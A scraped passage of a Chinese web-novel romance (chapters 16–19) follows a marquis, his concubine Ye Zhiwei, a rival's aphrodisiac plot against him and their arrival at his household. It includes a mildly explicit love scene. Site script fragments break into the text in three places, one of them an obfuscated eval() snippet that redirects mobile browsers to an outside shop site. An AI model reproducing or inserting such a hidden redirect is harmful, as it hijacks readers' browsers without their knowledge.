顾铭珏进来便看到叶知微微嘴角微翘,笑意盈盈的做些针线。 看到他进来,立马将东西放下,笑着去迎他。 顾铭珏将人抱在怀里,在她耳畔轻声道,爷去洗洗,你去床上等着。 他还未进门便听下人禀她睡了一下午这件事,他挑挑眉,那今夜可大战一场了。 不是,大战一场是这么用的吗...... 摸摸鼻子,笑的有些不怀好意,且明日再陪她逛逛吧,她体己的东西也才一拢箱,合该多买些。 叶知微小脸一红,低低的嗯了一声,也知今晚免不了一场恶战。 婆子送了水来,她红着脸将人推进了屏风后,深吐口气,将衣服脱净钻进了锦被。 大床摇摆不时发出吱哑声响,床幔中的叶知微死死咬着唇角不让自己发出声音,这个院子不比从前的隔音,她是万不能太放肆的。 男人心生激荡,在她耳畔轻哄着她放开捂着嘴的手,男人温热的唇轻轻扫过她的耳垂,她终于没控制住哼出了音。 男人轻笑,动作愈发的快了起来,只让二人一起攀向了云端...... 夜色漫长,月亮眨巴了下大眼似是羞红了半张脸,直躲进云层再也瞧不见。 16. 第 16 章 翌日晴空万里,叶知微醒的还算早,且望着窗外的蓝天白云也没了再睡个回笼觉的打算,选了身藕粉色长裙穿上,简单的挽了个发髻插了支玉簪便起身去用早膳。 早食是婆子们做的,香甜软糯的莲子粥,肉香四溢的小笼包,皮薄如纸的烧麦,清爽解腻的小咸菜,种类不多也不复杂,但让人吃的很舒服。 于是,一不小心叶知微便吃多了。 顾铭珏一早便出去了,想来着日上三竿也早已用过早膳,她闲来无事在小院里溜达消食。 不多时顾铭珏便回来接她出去逛逛,这是个叫诸城的小城,县城不大,但是很繁华。 地势上诸城是南北的交接处,来往的商人络绎不绝,大街上锦衣华服者众多,所以当顾铭珏和叶知微带着几个丫鬟侍卫走在街道上也并不显眼。 只是小娘子貌美,虽带着面纱但还是吸引了不少人的目光。 不过也都是纯好奇的打量,没有恶意罢了,叶知微并未放在心上。 但顾铭珏心里不大高兴,到底又给叶知微带上了围帽,这才罢休。 叶知微才不去管吃醋的老男人,微一撇嘴,心中腹啡您之前可不是这么做的啊,我那可是怎么招摇怎么来的。 她挠了挠男人宽大的手心以作安抚,内心十分期待接下来逛逛逛的行程。 男人财大气粗,叶知微自是拣好看和值钱的选。 午膳也是去酒楼用的,似是遇到了故人,顾铭珏吩咐几人陪着叶知微去雅间,自己则是迎向了来人。 叶知微也没管,只点了点头便跟着伙计上了楼。 等顾铭珏再上来的时候,后面乌泱泱的跟了一群人。 窗前看风景的叶知微只得起身见礼。 一位白发的老者,和一位中年男子,一位面容姣好的妇人,一个好似是未出阁的姑娘,一个是俊秀的公子,后面的丫鬟仆妇都被拦在了门外,没有进来。 此时的叶知微已经摘下了围幔,漏出了绝美容颜。 顾铭珏牵起她的手介绍给老者认识,只是道:“师傅,这是知微。” 老者虽是诧异,但是也知道徒弟是什么性子,这姑娘挽着妇人的发髻,定是这混账的妾室了,看样子还是他付了真心的那种。 罢了,看这女子眼眸清澈,身姿不俗,便勉为其难接受了吧。 叶知微也不去考虑旁人,只躬身朝着老者行大礼。 老人笑着点头,从怀里摸出几张银票来笑呵呵的说是见面礼。 叶知微有些没反应过来,银票便被顾铭珏接过塞进了自己手里,若她没看错的话,顾铭珏分明是笑了。 叶知微眉眼弯弯的谢过老者,老者身旁的中年男子无奈扶额,也没去制止他爹的无语行径,只抱拳朝着叶知微道了声弟妹。 叶知微急忙还礼,还不等有人介绍那位妇人,妇人已经忙不迭上前握住了叶知微的手,一边看着她一边道:“原是以为我那姑娘也算是个美人坯子了,不成想今日见到了姨娘才明白什么叫做人间绝色,侯爷真真的是好福气啊,” 叶知微以为这位是叫她弟媳那位的夫人,只是笑着道:“您过谦了,您家小姐自是貌美,妾只蒲柳之姿,怎生与贵小姐相提并论。” 叶知微眼角倒是瞧见了那位小姐,帕子都快给揪烂了,自是不服气亲娘这样说她的。 “嗨,她要是有姨娘三分长相我只怕也是会笑醒的,” 说完还打了下自己的嘴,“瞧,还未做自我介绍呢,妾王许氏,只是妾身的一双儿女,还得多些侯爷好心答应带我们一同进京,不然我们这孤儿寡女的一路也没个人照拂,只怕是到不了京城便会被豺狼给吃了。” 说着说着,这王许氏悲从中来,还不自觉的落下泪来。 给叶知微看的一愣一愣的,愣是没敢吱声。 她看了看突然抱在一起落泪的王家母女,只拿眼去求助顾铭珏。 顾铭珏叹了口气,对自己答应捎带这三人回京之事突然就有些后悔。 他白了一眼给自己找事的师傅,无奈将满脸无措的小姨娘给救了出来,只道了句用膳吧,便牵着叶知微的手落了座。 叶姨娘有点郁闷,但是也就那么一点。 郁闷之后也就释然了,她一个妾室,就是再受宠,捎几个人入京这种事,侯爷也是没必要跟她说的。 罢了,不耽误她养老就成了。 而顾铭珏,倒是真将这事给忘了干净,他倒是真没想到能在这酒楼里遇到师傅和师兄,还有这王家母子。 至于是巧合还是其他,他没去猜想,没那个必要。 他只捎带,其他一概不管。 午膳自是分了两桌,男女分坐。 叶知微看着明显讨好她的妇人,只淡笑着,并不多做交谈。 只是不经意间还是能感受到那位小姐看着自己颇为不善的目光。 多说多错,她并不打算同她们打交道,便也忍下来了。 午膳后自是很快分开,只是老者看向已经走了的王家母子三人面带几分愧疚的朝顾铭珏说了些什么,顾铭珏点头,朝师傅师兄抱拳,目送师傅上了马车离开之后这才也带着叶知微离开了酒楼。 看叶知微兴致缺缺,只逛了两家成衣铺子,买了些吃食便打道回去了。 越往北上越冷,叶知微买了些厚衣服,省得突然冷了没的衣服穿。 回程的马车上,顾铭珏将人抱在怀里,问她是否不高兴。 叶知微看了看男人的脸,扬了扬手中妇人送自己的镯子,挑了挑眉轻笑,娇里娇气道,“您还知道关心人家呢,人家的耳朵都快被吵出茧子来了,就是不知那位妇人是谁,这么劳师动众的,竟然能劳驾师傅出来找您。” 顾铭珏捏了捏她娇嫩的小脸,笑着轻斥了声促狭鬼。 又亲了亲她白嫩的小脸这才道:“她男人死了,要回京投奔娘家,师傅受过她家男人祖上的恩惠,这才答应帮忙的,不过,也就仅此一次。” 她抿着唇,学着他的样子吻了吻他的唇角,点点头笑着道,“哦,刚开始我只以为她是师兄的内人,后来才明白并不是,难怪师兄对着母子三人一幅避之不及的样子。不过,她离席时套在我手上的镯子回头不错,咱们赚了。” 她的眉眼弯弯,一幅小财迷的模样,给顾铭珏看的心里痒痒极了。 于是,两人也不知是聊天还是谈心,你亲我一下,我吻你一下,卿卿我我的闹了一路,得亏下马车的时候叶知微带上了围帽,不然叫人瞧见,只怕是会好奇这娘子的嘴时不时叫蚊子给咬了,怎么又红又肿的。 丝毫不用意外,夜里顾铭珏又闹到什么时候。 只瞧这上了马车便被他抱在怀里呼呼大睡的叶姨 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 娘就知道了。 同王家的车队在城门外汇合,侯府的几辆马车在前头,王家的马车只在后头不远不近的跟着。 马车内,王家大小姐同母亲二人相顾无言。 自昨日在酒楼回府这王大小姐便发了好大的火,她堂堂王家大小姐,虽爹爹已经身死,但好歹也是官家小姐出身,怎么就落到现在还得哄一个小妾了! 就那么一个以色侍人的玩意,也值得她娘卖乖讨好? 要是她爹还在,要是她爹还在,她怎么会吃这种气! 王许氏只得将道理揉碎了讲与姑娘听,“你瞧瞧你像什么样子,什么叫以色侍人?那女子能攀上安定侯那是她的本事?你以为她是谁的小妾?那是安定侯的妾!就是你爹没死,娘也是该向人家弯腰的!安定侯位高权重,侯府富贵,也不是什么人都能攀上的!” “你以为娘向她卑躬屈膝是为了谁!不是为了将你带至京中为你讨门好亲事,娘至于这么低三下气想这么多法子吗?我的儿啊,你到底什么时候能明白娘的一片苦心啊。” 于是今日的王大小姐似乎是想明白了,也没再与她娘争辩什么。 她曾经也是风头无两的官家小姐,父亲官至五品,身份地位都是实打实的,从小锦衣玉食何曾受过委屈。 只一年前爹爹一朝身死回了爹爹老家,她们遭了多少白眼又受了多少叔伯婶娘的打压,如今,如今她又连一个小妾都不如了? 这让她如何不去恨?! 她今日也算是想明白了。 只是想明白的却是那样的女子都能做安定侯的妾,那为何她自己做不得?都说侯府富贵,那这富贵她为何不能沾得? 又想着侯爷虽说不上龙章凤姿,但是是相貌堂堂,不免就动了歪心思了。 哼,她一向知书达理饱读诗书,虽是不及那小妾貌美,可也不差什么,侯爷的贵妾又怎么做不得?她不信拿不下侯爷! 于是这一路,这位大小姐可是闹了不少的幺蛾子。 叶知微也没睡多长时间便醒了,揉了揉自己酸涩的脖颈,半晌才完全清醒过来。 顾铭珏瞧着她睡眼朦胧的样子,动了动自己被靠麻的半边身子,倒了杯浓茶贴心的递了过去。 叶知微笑眯眯的接过,喝净之后狗腿是的忙过去帮他捶肩。 顾铭珏无奈,由着她作怪,只低头继续看着什么。 半晌叶知微自觉累了,看男人也没什么反应,自顾自的打开了旁边的抽屉端出盘糕点吃了起来。 马车只急匆匆的赶路,午膳也没停下歇息。 晚上自然是宿在临近的村子。 好歹是有床,叶知微接受良好。 只是厕所的味道让她有些受不了。 但她也算是练出来的,也没说什么,只是晚膳没用多少。 这厢吃的正热乎,那厢王家大小姐正提着食盒缓缓走来。 小丫鬟跟在身后,大气都不敢出,只低着头闷声跟着自家小姐。 村中的夜色很是美,满天的星星一眨一眨的,微风吹起了小娘子的裙摆,待人走远,空气里还弥漫着一股甜腻的脂粉气。 冯三端着个大碗朝旁人撇撇嘴,“得,这又是一个上赶着讨嫌的,也不照照镜子,什么人都敢往侯爷身前凑。” 黄成点头,还真是,怎么一点数没有呢。 17. 第 17 章 人有上进之心自是好的。 但是也分情况。 像是上赶着做妾,且主人家还瞧不上的,便有些不好看了。 一连几日,这王家小姐王安然便一直在想着法子接近顾铭珏。 但是都被侍卫给挡了回去。 她初次送食盒更是连侯爷下榻的院门都没有进去,只得铁青着一张脸讪讪的走了。 有句话叫越挫越勇,放在这位姑娘跟前确实合适。 只是叶知微不甚明白,好好的官家小姐,正是如花似玉的年纪做人正妻多好,为何要上赶着做妾。 要知道,自古便是有宁为穷人妻不为富人妾的说法。 这时候,还是十三为她解的惑。 彼时是在一处稍微简陋些的客栈,坐落在一个小镇上,但是已经比宿在荒郊野外好太多了。 在客栈三楼的厢房,主仆三人站在窗前看着窗外又与侯爷偶遇的王安然,俱是无语,叶知微这才发出了好好的官家小姐,为何不做正妻,上赶着做妾的疑问。 十三觉得,此时正是给姨娘讲解侯府的好时机。 便开口道:“自是因为侯府富贵啊。” 叶知微和翠儿齐齐看向她,面带不解,等着她继续。 “侯爷是陛下近臣,爵位世袭了三代依旧盛宠不衰,安定侯府只忠于皇帝,从不参加皇储党派之争,所以在世人眼里只要侯府不倒,扒上了侯府便可得世代安稳。且侯府富贵,说的不仅仅是衣食上,侯府几代攒下的荣勋,更是不是谁都可比的。后院有一位陆姨娘,便是硬生生求了先夫人进的侯府,听说是被侯爷救过,陆姨娘痴恋侯爷多年,先夫人怜惜便一顶小轿将人抬了了门做了良妾,陆姨娘爹爹原是六品小官,自打陆姨娘进门,陆姨娘的父兄很快青云直上,如今已经是官拜五品了,皆因侯爷多有照拂。所以,想扒上侯爷的莺莺燕燕一直络绎不绝。不过,” 十三迟疑的看向叶知微,思趁着这话该不该讲, 叶知微摆摆手,让她赶紧说,她早就想打听打听侯府后院的事了,只是一直没有机会,翠儿也经常朝认识的侍卫打听,但是一个个嘴巴严实的很,问都问不出来的。 “不过奴婢听说前些日子老太夫人在帮侯爷相看夫人,算着日子,这时候差不多已经定下来了......” 叶知微抿着嘴,不住的点头,面上看不出喜怒,只是再次转头看向窗外,顾铭珏已经离开了,徒留王安然在原地气到跺脚。 叶知微摇了摇头,只道:“无碍,无所谓谁是夫人,我只想能在侯府安稳的渡过下半生。” 她的声音很轻,轻到被这秋风一吹便消失不见了,轻到她语气中的那一点点酸涩也无人察觉,轻到她也以为自己毫不在意。 叶知微原真的以为这位小姐吃了这么多的闭门羹,定是会歇了那份心思的。 却不想刚用过晚膳,王安然便带着针线找了过来。 彼时顾铭珏出门未归。 主仆三人俱是无语。 这打扮,这架势,分明是来等侯爷的! 翠儿气急,真真是个脸皮厚的,还官家小姐,她这做丫鬟多少年都没见过这么不要脸的。 王安然一身粉衣罗裙,巧笑嫣然,进门便亲热的牵起了叶知微的手,姐姐长姐姐短的喊,这骚操作只叫叶知微看的目瞪口呆。 只是还不等她说话便被王安然身上浓重的脂粉味给呛出来几个喷嚏。 且这喷嚏一个接一个的,丝毫不见停下来的意思。 看自家姨娘打喷嚏打的鼻涕眼泪横飞,十三只好态度强硬的将王安然给请了出去。 十三是顾铭珏培养的暗卫,什么样的女子没见过,这种没脸没皮的,不给好脸便是。 而翠儿更是急忙开窗通风换气,一顿折腾叶知微的喷嚏才停了下来。 只是身子软绵绵的靠在窗前,一双眼睛红红的,像是刚被人蹂躏了一番,瞧着可怜巴巴的。 她就纳闷了,之前这位小姐还挺正常的,虽然眼神不善吧,但是一同用膳的时候身上还没这么浓郁的香气,如今这是怎么了?疯魔了? 摇摇头,反正撵都撵走了,人已经得罪,她便没再去想这人身上的奇怪,只懒洋洋的拿起针线来继续做绣活。 而外头的王安然简直要气疯了,她怒气冲冲直奔自己娘亲房里,刚进门便瞧见娘亲在喝药,一时又计从心来,她就不信了,拿不下安定侯! 王许氏看着自己女儿这般神态,自是也能猜到发生了何事。 无非就是又吃瘪了。 她心里是想女儿嫁与男子做正妻的,但是转念一想女儿要是真能扒上安定侯也不错,儿子也好多些助力。 只是看女儿几经受挫的模样还是免不了心疼,将喝光的药碗递给婆子这才劝道:“我儿心里想的娘都知晓,只是看侯爷并无那般心思,儿啊,你还是不要,” 话还没说完便被王安然气呼呼的打断了,她站了起来,眼神凶狠,“娘,是你说的侯府富贵,连那妾室也是你不敢招惹的,女儿自小饱读诗书,琴棋书画样样精通,女儿不信自己比不上那以色侍人的玩意!哼!娘你莫要再说了,女儿自己有女儿的办法!” 王安然越挫越勇,再一次重整旗鼓,只待时机。 后来,这话不知怎么被婆子传到了十三和翠儿的耳中,气的翠儿直想骂人。 这人的吃相也太难看了些。 二人气归气,但是没人将这事告诉叶知微,其实叶知微即使知道了也不会放在心上,她本就是以色侍人,各凭本事罢了,她一点也没觉得有什么丢人的。 终于还有再半个月便至京城了。 顾铭珏前几日接到了京中的信,虽然叶知微不知道信上的内容,但看侯爷频频望着自己的眼神,也能猜出来与自己有关。 或者说同侯府后院有关。 许是新夫人定下了吧。 顾铭珏因前头的事情觉得对自己有所亏欠,但是到底为何频频看向自己,她猜不着。 索性也不去猜,无非就是怎么安置她这件事。 其实她都行,只要给她一方小院,她怎么都能活出自己的天地来。 没办法,她就是心大,还是个乐天派。 只是在又一日宿在野外的时候,王家小姐又出了幺蛾子。 手段称的上是拙劣。 她的丫鬟趁侍卫不注意,往顾铭珏的饭食里下了药。 可惜的是这饭菜还未送至顾铭珏手里便被发现了。 他一个位高权重的侯爷,在饭食上自是十分严谨,每次用膳之前都是有专人试菜的,即使在野外,也是十分小心。 随行的大夫小声禀告此药乃勾栏之地惯用之物时,叶知微只觉顾铭珏周身的气压降至了冰点。 这人,应该是极讨厌这种下作手段的。 他差人将这些食物送至王家人面前,责令三人将其吃掉。 还是当着一众奴仆的面。 杀人诛心,不 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 过如此。 王安然傻了眼,精心打扮的妆容在此时看着十分滑稽,哭喊着是是自己一人之错,求侯爷垂怜,放过她母亲和兄长。 但是侍卫们哪里敢违抗命令,只将长刀驾到三人的脖颈前,看着他们自食恶果。 三人不敢不从,见求助无用,便跪坐在地上眼中含着泪,一口一口的往嘴里送。 王家的一众仆从皆跪在三人身后,大气也不敢喘。 一时间,周遭只剩下母子三人的呜咽和着吞咽的声音,好不凄惨。 最后叶知微还是看不下去,这荒郊野外的,那公子还好,这王许氏一个寡妇,这,这,总不能当着儿女的面跟小厮那什么吧。 或者乱?那什么? 她还是动了恻隐之心。 她紧紧皱着眉头,终是忍不住轻轻扯住了顾铭珏的衣袖,眼神中带着些担忧和祈求,嘴唇微微颤抖,“侯爷,不若,不若,” 顾铭珏看着她胆小怕事的模样微不可见的叹了口气,她实在仁善,入京后可如何是好啊。 最后看着她眉头紧皱可怜巴巴的小表情还是心软了,罢了,且听她这一回。 男人摆了摆手,守在一旁的冯三得令,这才行至王家车架前,面上带着轻蔑,声音讥讽,“叶姨娘仁善,求了侯爷开恩,尔等还不叩谢!” 于是三人身后的丫鬟婆子忙不迭的接过主子手中的碗,三人慌忙叩谢,之后便是一阵此起彼伏的扣吐的声音。 其实三人并没有吃进去多少。 等到再也吐不出任何东西,已经快要了半条命了...... 冯三等人看到这般才慢悠悠跺着步子离开,远远地声音还能传进他们的耳中,“还真是不自量力!什么东西都想爬我们侯爷的床!” 王安然狠狠的咬着手臂,眸中的狠毒愈发加深,好,很好,安定侯!叶知微!她要报仇!她定会报仇! 等到母女回到马车上,王许氏撑起身子,一个巴掌狠狠的落在了王安然的脸上,“你竟这么大的胆子,给安定侯下药,你自己作死不要拉上我和你兄长!” 说完王许氏一口气没上来便直直的晕厥过去。 王许氏悔啊,她早知今日当初应该将女儿绑在身上,为何要说那翻的话,她就不该不该去求赵太爷让贵人捎带他们回京,她悔啊。 可是,人生就是这样,一步错步步错,哪里又有后悔的余地呢。 王安然只冷漠的看着乱做一团的丫鬟婆子,自己呆坐在一旁,她有什么错?她想往上爬又有什么错? 她狠狠的咬着自己的手臂,直至鲜血淋漓她才抬起了眼眸,皎洁的月光透过窗户照在她带血的唇瓣上,脸上的表情扭曲又疯狂。 月色晦暗,天地灰蒙蒙一片。 这一切,叶知微毫不知情。 她正同顾铭珏坐在一处恹恹的用着晚膳。 今日对她的冲击还是很大的,尤其是见识到了顾铭珏冷酷无情的一面。 她头一次觉得,顾铭珏对她从一开始便是宽容到吓人的地步,看今日他处置王安然的方法,只怕也不是第一次这么处理了,或者说,更狠毒的手段也是有的。 毕竟,他一直是位高权重的,是杀伐果断的,或者说,是杀人不眨眼的。 她或许是他身边独特的存在,但是,此时的她心底是真的有些害怕了,她有朝一日若是被厌弃,不会也被这么处理掉吧。 于是嘴里的吃食也不香了,神情恹恹,没精打采的。 18. 第 18 章 一夜她都没怎么合眼,被脑袋中的小人折磨的不得安眠。 太阳初升时才迷迷糊糊的靠在男人肩头睡了过去。 男人无声叹息,这么不禁吓,胆子这样小,回了侯府可怎生是好。 待到叶知微再醒来马车已经不知行驶了多长时间。 她打着哈欠只往男人的怀里钻。 顾铭珏无奈,只当她是昨夜吓到了,一把将人捞坐在自己腿上。 照例还是灌了杯浓茶才完全清醒。 而后她撅着小嘴蹭了蹭男人的脖颈,终于问出了她一夜未睡的烦恼。 “爷,万一哪天您厌弃了我,也会随意将我处置了吗?” 她低垂着眉眼趴在他肩头,并不敢抬眸望他。 还是因为那事。 男人没有回应,她不自觉的咬紧了下唇。 半晌,顾铭珏才轻轻的叹了口气。 大手抚上了她的小手,十指相扣。 “我虽并不懂情爱两字,但是却知在我心中你与旁人是不同的。爷知你害怕什么,之后不管新夫人进门之后如何,爷都会护好你,至少爷在一日,便许你一日安乐无忧。” 他是察觉了她的反常,也知道昨晚的事她也受到了惊吓。 但他早晚要再娶妻,还是要让她早些接受现实比较好,不能恃宠而骄。 这安乐无忧四个字一出来,直给叶知微说掉了眼泪。 她爸妈从前也是这样说的,不求她有什么出息,只希望女儿这一辈子安乐无忧。 叶知微含着泪坐直了身体,鼻尖通红,小脸真诚倔强,“您放心,知微一定乖巧懂事,好好侍奉您和夫人,断不会做出格的事情。” 她明白的,她是妾,侍奉主君主母是应该的,她不委屈,也不害怕新夫人进门。 她只想苟活着,不能白来这异世一场。 她的侯府养老计划才刚刚开始,还得好好筹谋。 顾铭珏看着她小心翼翼的模样,心口有些发紧,他点点头,帮她将眼泪擦净。 叶知微又窝进了男人怀里,声音闷闷的,“爷,妾以后都不生孩子,妾帮您和夫人照看孩子,妾可会看孩子了。妾,” 男人听着这越来越过分的话,直接一巴掌拍向她的屁股,啪的一声,叫叶知微又红了眼,这回是气的。 妈的狗男人,打她屁股! 顾铭珏看她又哭了,一时又心软了,大手轻柔着她软嫩的臀,轻声安抚,“爷知道你害怕什么,你年纪太小,也不适合生子,待你过几年长大些再说,” 叶知微躲在男人怀里直撇嘴,你也不缺孩子不是,长大了姑奶奶也不生! 虽然得到了男人的允诺,但叶知微还是不甚放心的。 男人的嘴骗人的鬼,他后院那么多的女人,搞不好每个女人都说过这般话。 她太清醒了,以致于有些畏手畏脚。 其实叶知微并不知道还有件事,顾铭珏一早便差人给王家人留了口信,在京里他不想看到活的王安然。 斩草不除根,春风吹又生。 这是顾铭珏一惯的行为准则。 但是王安然的兄长又怎会亲手杀掉妹妹呢。于是便同他娘商量,在路上给小妹找户人家嫁了。 王许氏在听到这句话的时候免不了又差点晕过去。 她十月怀胎生下来的女儿,诚然是做了错事,也不至于被草草嫁掉啊。 可兄长是有数的。 在嫁人和没命之间,兄长选择了将妹妹嫁掉。 不若要是落到安定侯手里,只怕一家人都要倒霉,如今这事已经闹的很难看了,他虽然已经严禁下人外泄此事,但是天下难免有不漏风的墙。 在两日后王安然便被兄长嫁了。 将她药晕之后嫁给了一阵子上的屠夫,连一个丫鬟婆子金银首饰都没留,是打定了注意磋磨醒她的。 也好叫安定侯看看他们王家的决心。 待王安然清醒后自是不甘心嫁给屠夫,张牙舞爪的逃了很多次,但是每次还没出镇子便被屠夫给抓了回来。 其实这户人家虽然兄长选的匆忙,但也是仔细挑选过的,以他们家现在的身份,寻富户怕纠不正小妹的毛病,这才几番打听找了个心眼好的,只是身份上确实差了些。 他也留下了人和银子来照看帮扶,哪能真的就将她一人仍在这呢。 这屠夫虽然看着凶悍,但却是个心细的,对她算是百般体贴,毛胡子脸收拾干净也算板正,人高马大的。 婆婆虽一只眼看不见,但是个心善又好相与的,他们都觉得她虽是个千金小姐,定是知书知礼的,只要他们对她好,待时候长了定会安心留下过日子。 也确实是这样,待到几年后,王许氏来探望女儿的时候,王安然已然变了一幅模样。 她远远望着女儿抛头露面卖着猪肉,嘴角含笑迎来送往,手起刀落,动作灵活,一看就是做惯了的,直叫她这个当娘的心疼死了。 她的女儿也有了女儿,一如她女儿小时候的模样,天真可爱。 一别经年,过往不可追,娘俩在街头抱头痛哭,徒留汉子手足无措的抱着女儿站在一旁,紧张的出了一身的汗。 当然,这都是后话了。 待到午膳放风的时间,叶知微这才发现,后面王家的车队已经消失不见了。 十三轻声解释,侯爷一早便吩咐将王家人扔下,不再带他们走,也就十天的路程便可到京城,出不了什么大事,即使出了事,侯爷也是一概不管的,由着他们自生自灭。 翠儿还在喋喋不休,“您昨日就不该劝侯爷放了他们,就那大小姐说的那些话,死十次八次都不够还的!” 叶知微拍了拍翠儿的屁股,小声斥道不要胡说,什么死不死的。 十三在一旁稍作停顿还是说道:“侯爷是恨极了下药这种事的,侯爷兄长也就是之前的世子爷,年轻的时候便是因着这事同青梅竹马的未婚妻离了心,待上了战场,世子重伤不治再也没有回来,那位小姐听到消息便跟着去了,所以,您别怪侯爷心狠,只怨他们手段太龌龊。” 叶知微被惊到了。 好半天才消化掉十三的话。 顾铭珏原是安定侯府的嫡次子,同兄长的感情颇深。 世子顾铭泽大顾铭珏两岁,因着安定侯常年守卫边疆,二人都是背祖母养在膝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|12960739|135594||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下长大成人的。 当时顾铭泽的未婚妻,也是祖母亲自挑选的手帕交的孙女叶清婉,二人可谓是青梅竹马,门当户对,更是许下了一生一世一双人的承诺。 只顾铭泽虽是少年英雄,但还涉世未深,一不小心被当时伺候的丫鬟下了烈药,春宵一度后那丫鬟便销声匿迹,再见时已经挺着四个月的肚子求着老太君进门了。 原本定好的婚事,黄了。 只可惜了未婚夫妻二人青梅竹马两小无猜的情谊。 顾铭泽自觉对不起叶清婉,亲自上门退了亲事,直被打的鼻青脸肿,也未发一言。 恰好边疆起了战乱,顾父犯了旧疾,顾铭泽请旨出战。 那一场战争,只打了半年便结束了,大获全胜。 虽是大胜,却折了顾家父子,顾母身体不好也未能受住,紧跟着去了。 消息传来,一片悲痛。 而听到消息的叶清婉更是一卷白绫随他而去,两家长辈白发人送黑发人,含泪办了冥婚将二人合葬在一处。 老祖宗一夜白头。 之后更是身着诰命服手捧丹书铁券跪求皇帝收回顾家军权,将顾铭珏留在京都为陛下尽忠。 他们顾家,已然全死在了战场上,总得留下血脉。 至此,十六岁的顾铭珏继承了爵位,成了安定侯。 他成长的很快,且得皇帝看中,很快便成了皇帝心腹,掌暗查之权。 这一查,便是多少年。 此时的顾铭珏紧皱着眉头,也在思考如何安置叶知微的事情。 罢了,还是放在自己身边吧,总是能让他放心些。 越往北,天气越冷,树叶越黄。 北风呼啸带着些深秋的冷意,只往人心里钻。 不论叶知微有多么的不想,京都还是到了。 已是金秋十月。 马车一路前行,直直进了城门。 在好奇心的促使下,叶知微还是忍不住挑起了窗幔。 是相当宽大的街道,青石板铺成的路面干净整洁,相隔不远竟有专人拿着扫帚清扫污物,他们穿着统一的服装,活脱脱后世的清洁工。 马路宽阔,横行两辆马车也不显拥挤。 行人来去匆匆,衣着有华丽的,也有简朴的,有挑着扁担的货郎,也有挎着竹篮叫卖的女娘,但是到底是京都,很少见有带着补丁的。 叶知微心下了然,自古都是都城繁华,当下亦然。 京都的配套设施更加齐全,在相隔不远处还有男女泾渭分明的公共厕所。 街道商户星罗棋布,茶楼酒馆当铺作坊食肆几步一招牌,门前小厮站立引客,来往行人川流不息,一派繁荣景象。 一声马嘶长鸣,唤回了她的思绪。 她落下窗幔,转头却对上了顾铭珏那双漆黑的眸子。 他大手轻抚她额前的碎发,轻声安慰,“别怕,爷在呢。” 她点头,轻轻靠在她的肩上,低垂着眼眸,眼眸晦暗不明。 车厢外熙熙攘攘,叫卖声不断。 一如她看不见的未来,纷纷扰扰,还带着些杂乱。 且行且看吧。 19. 第 19 章 正值烈日当空,日头正盛。 安定侯府门前已经一堆人在候着了。 为首的便是安定侯世子顾珞安,嫡长女顾青禾。 二人为双生子,年十二。 自前侯夫人两年前身故后,侯府便由大小姐顾青禾掌家,兄妹二人在侯府的地位可想而知。 一众庶子庶女,妾室通房皆站立在二人身后,翘首以盼侯府主君的归来。 终于,双头马车缓缓而停,男子高大挺拔的身影大步跃下,顾珞安带着众人刚要施礼问安,便见男人连眼神也未撇及众人转身牵住了车厢内伸出的纤纤玉手。 众人神色各异。 只见一妙龄女子翩然而下,明眸皓齿,樱唇琼鼻,明媚的阳光更是衬的女子肤白如雪。 一身鹅黄色长裙摇曳生姿,步步生莲。 女子满头珠翠迎着阳光的照射更是晃得人迷了眼。 二人站定,顾铭珏这才放下牵着她的手。 叶知微承认,此情此景,她大为震撼。 先不说这门前乌泱泱的一群人。 就这拔地而起的大门,堪称雄伟壮观,牌匾上金晃晃的安定侯府四个大字更是苍劲有力,气势磅礴。 两只石狮一左一右蹲守,往上看去自是红砖青瓦雕梁画栋。 只听众人像男人行礼,叶知微反应不急,慌忙躲避。 此时安定侯霸气侧漏,微一抬手道了句免礼。 说完也不等众人起身便大步踏进院门, 步履间带着几分急切。 只还没走几步,便停了下来,回头又一把牵住了跟在众人身后不明所以的叶知微,大步将人带进府内。 顿时,鸦雀无声。 世子顾珞安沉着冷静,父亲带回来的的妾室,宠便宠了些,无须在意。 大小姐顾青禾面色稍变,却只是拿眼神淡淡扫过众人,以示警告。 一时间,不管面上如何,众人的内心皆是风起云涌。 陆姨娘死死盯着被侯爷牵着的倩影,眼神愤恨。 柳姨娘紧紧牵着儿子的手,低垂着眉眼,看不清表情。 清姨娘眼神落寞,顾青禾心疼的抱了抱她的胳膊。 顾青禾虽是嫡长女,却同前头夫人不甚亲近,清姨娘是前夫人的陪嫁,帮着照顾了顾青禾很多年了。 一众的丫鬟婆子都低着头看着自己的脚尖,轻易不敢发出声响。 不管别人怎么想,这安定侯府安静了几月的天,终于要变了。 叶知微安静的被顾铭珏牵着走,或者说她被拽着一路小跑。 一路上根本来不及欣赏这侯府风景,也不知过了几道门,顾铭珏才似想起了身后的众人。 他放下叶知微的手,只淡淡朝众人吩咐道:“本候要去问祖母安,都散了吧。” 说完也不管众人是何反应,叫了管家过来,送姨娘回去休息。 却听一婆子急匆匆赶来道了声且慢,婆子来的急,有些气喘吁吁,只是看着比较富态,也颇为面善。 顾铭珏倒是给婆子几分面子,摆摆手道:“安嬷嬷缓缓再说不迟。” 安嬷嬷行礼问安,笑着道:“老祖宗知晓侯爷带了位姨娘回来,特命奴婢来请姨娘一同过去说话。” 顾铭珏点点头,叶知微也非不识抬举之人,温顺的向婆子行礼,道了声是。 安嬷嬷可不敢受,只笑眯眯的看着叶知微,直夸姨娘好相貌,嬷嬷看了都忍不住心生喜欢。 顾铭珏咳嗽两声,抑制住要翘起的嘴角,转身在前头先走一步。 叶知微乖巧的扶着安嬷嬷的胳膊,小脸通红,小声道:“嬷嬷过谦了,知微年纪小,不懂事,还得嬷嬷提点。” 